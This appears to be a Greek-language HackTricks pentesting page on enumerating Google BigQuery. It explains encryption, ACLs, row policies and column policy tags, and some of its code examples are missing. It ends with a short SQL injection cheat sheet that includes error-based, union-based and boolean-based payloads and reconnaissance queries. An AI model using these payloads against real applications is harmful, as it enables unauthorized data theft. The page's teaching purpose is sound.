GCP - Bigquery Enum
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Το Google Cloud BigQuery είναι μια πλήρως διαχειριζόμενη, χωρίς διακομιστή επιχείρηση αποθήκευσης δεδομένων, προσφέροντας δυνατότητες για ανάλυση πάνω από πεταβάτ δεδομένων, διαχειριζόμενη έτσι μεγάλης κλίμακας σύνολα δεδομένων αποτελεσματικά. Ως Πλατφόρμα ως Υπηρεσία (PaaS), παρέχει στους χρήστες υποδομή και εργαλεία για να διευκολύνει τη διαχείριση δεδομένων χωρίς την ανάγκη χειροκίνητης εποπτείας.
Υποστηρίζει ερωτήματα χρησιμοποιώντας ANSI SQL. Τα κύρια αντικείμενα είναι σύνολα δεδομένων που περιέχουν πίνακες που περιέχουν SQL δεδομένα.
Από προεπιλογή χρησιμοποιείται ένα κλειδί κρυπτογράφησης διαχειριζόμενο από την Google, αν και είναι δυνατόν να ρυθμιστεί ένα κλειδί κρυπτογράφησης διαχειριζόμενο από τον πελάτη (CMEK). Είναι δυνατόν να υποδειχθεί το κλειδί κρυπτογράφησης ανά σύνολο δεδομένων και ανά πίνακα μέσα σε ένα σύνολο δεδομένων.
Είναι δυνατόν να υποδειχθεί μια χρονική λήξη στο σύνολο δεδομένων έτσι ώστε οποιοσδήποτε νέος πίνακας δημιουργηθεί σε αυτό το σύνολο δεδομένων να διαγράφεται αυτόματα τον καθορισμένο αριθμό ημερών μετά τη δημιουργία.
Το Bigquery είναι βαθιά ενσωματωμένο με άλλες υπηρεσίες της Google. Είναι δυνατόν να φορτωθούν δεδομένα από buckets, pub/sub, google drive, βάσεις δεδομένων RDS...
Όταν δημιουργείται ένα σύνολο δεδομένων, συνδέονται ACLs για να δώσουν πρόσβαση σε αυτό. Από προεπιλογή, δίνονται δικαιώματα Ιδιοκτήτη στον χρήστη που δημιούργησε το σύνολο δεδομένων και στη συνέχεια Ιδιοκτήτης στην ομάδα projectOwners (Ιδιοκτήτες του έργου), Συγγραφέας στην ομάδα projectWriters, και Αναγνώστης στην ομάδα projectReaders:
Είναι δυνατόν να ελέγξετε τις γραμμές που ένας κύριος θα μπορεί να έχει πρόσβαση μέσα σε έναν πίνακα με πολιτικές πρόσβασης γραμμών. Αυτές ορίζονται μέσα στον πίνακα χρησιμοποιώντας DDL. Η πολιτική πρόσβασης ορίζει ένα φίλτρο και μόνο οι αντίστοιχες γραμμές με αυτό το φίλτρο θα είναι προσβάσιμες από τους καθορισμένους κύριους.
Για να περιορίσετε την πρόσβαση στα δεδομένα σε επίπεδο στήλης:
Ορίστε μια ταξινόμηση και ετικέτες πολιτικής. Δημιουργήστε και διαχειριστείτε μια ταξινόμηση και ετικέτες πολιτικής για τα δεδομένα σας. https://console.cloud.google.com/bigquery/policy-tags
Προαιρετικά: Δώστε τον ρόλο Αναγνώστη Λεπτομερούς Καταλόγου Δεδομένων σε ένα ή περισσότερα πρόσωπα σε μία ή περισσότερες από τις ετικέτες πολιτικής που δημιουργήσατε.
Αναθέστε ετικέτες πολιτικής στις στήλες BigQuery σας. Στο BigQuery, χρησιμοποιήστε αναφορές σχήματος για να αναθέσετε μια ετικέτα πολιτικής σε κάθε στήλη όπου θέλετε να περιορίσετε την πρόσβαση.
Επιβάλετε τον έλεγχο πρόσβασης στην ταξινόμηση. Η επιβολή του ελέγχου πρόσβασης προκαλεί την εφαρμογή των περιορισμών πρόσβασης που ορίζονται για όλες τις ετικέτες πολιτικής στην ταξινόμηση.
Διαχειριστείτε την πρόσβαση στις ετικέτες πολιτικής. Χρησιμοποιήστε Identity and Access Management (IAM) πολιτικές για να περιορίσετε την πρόσβαση σε κάθε ετικέτα πολιτικής. Η πολιτική ισχύει για κάθε στήλη που ανήκει στην ετικέτα πολιτικής.
Όταν ένας χρήστης προσπαθεί να αποκτήσει πρόσβαση στα δεδομένα στήλης κατά τη διάρκεια του ερωτήματος, το BigQuery ελέγχει την ετικέτα πολιτικής της στήλης και την πολιτική της για να δει αν ο χρήστης είναι εξουσιοδοτημένος να αποκτήσει πρόσβαση στα δεδομένα.
Ως σύνοψη, για να περιορίσετε την πρόσβαση σε ορισμένες στήλες σε ορισμένους χρήστες, μπορείτε να προσθέσετε μια ετικέτα στη στήλη στο σχήμα και να περιορίσετε την πρόσβαση των χρηστών στην ετικέτα επιβάλλοντας τον έλεγχο πρόσβασης στην ταξινόμηση της ετικέτας.
Για να επιβάλετε τον έλεγχο πρόσβασης στην ταξινόμηση, είναι απαραίτητο να ενεργοποιήσετε την υπηρεσία:
Είναι δυνατόν να δείτε τις ετικέτες των στηλών με:
Για περισσότερες πληροφορίες μπορείτε να ελέγξετε την ανάρτηση στο blog: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Εδώ θα δοθούν μόνο μερικές λεπτομέρειες.
Σχόλια:
select 1#from here it is not working
select 1/*between those it is not working*/
Αλλά μόνο η αρχική δεν θα λειτουργήσει
select 1--from here it is not working
Πάρτε πληροφορίες σχετικά με το περιβάλλον όπως:
Τρέχων χρήστης: select session_user()
ID έργου: select @@project_id
Συνδυάστε γραμμές:
Όλα τα ονόματα πινάκων: string_agg(table_name, ', ')
Πάρτε datasets, tables και column ονόματα:
Όνομα έργου και dataset:
Ονόματα στήλης και πίνακα όλων των πινάκων του συνόλου δεδομένων:
Άλλα σύνολα δεδομένων στο ίδιο έργο:
Τύποι SQL Injection:
Βασισμένο σε σφάλματα - casting: select CAST(@@project_id AS INT64)
Βασισμένο σε σφάλματα - διαίρεση με το μηδέν: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '
Βασισμένο σε Union (πρέπει να χρησιμοποιήσετε ALL στο bigquery): UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
Βασισμένο σε Boolean: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
Πιθανώς βασισμένο σε χρόνο - Χρήση δημόσιων συνόλων δεδομένων παράδειγμα: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Τεκμηρίωση:
Λίστα όλων των συναρτήσεων: https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators
Δηλώσεις scripting: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)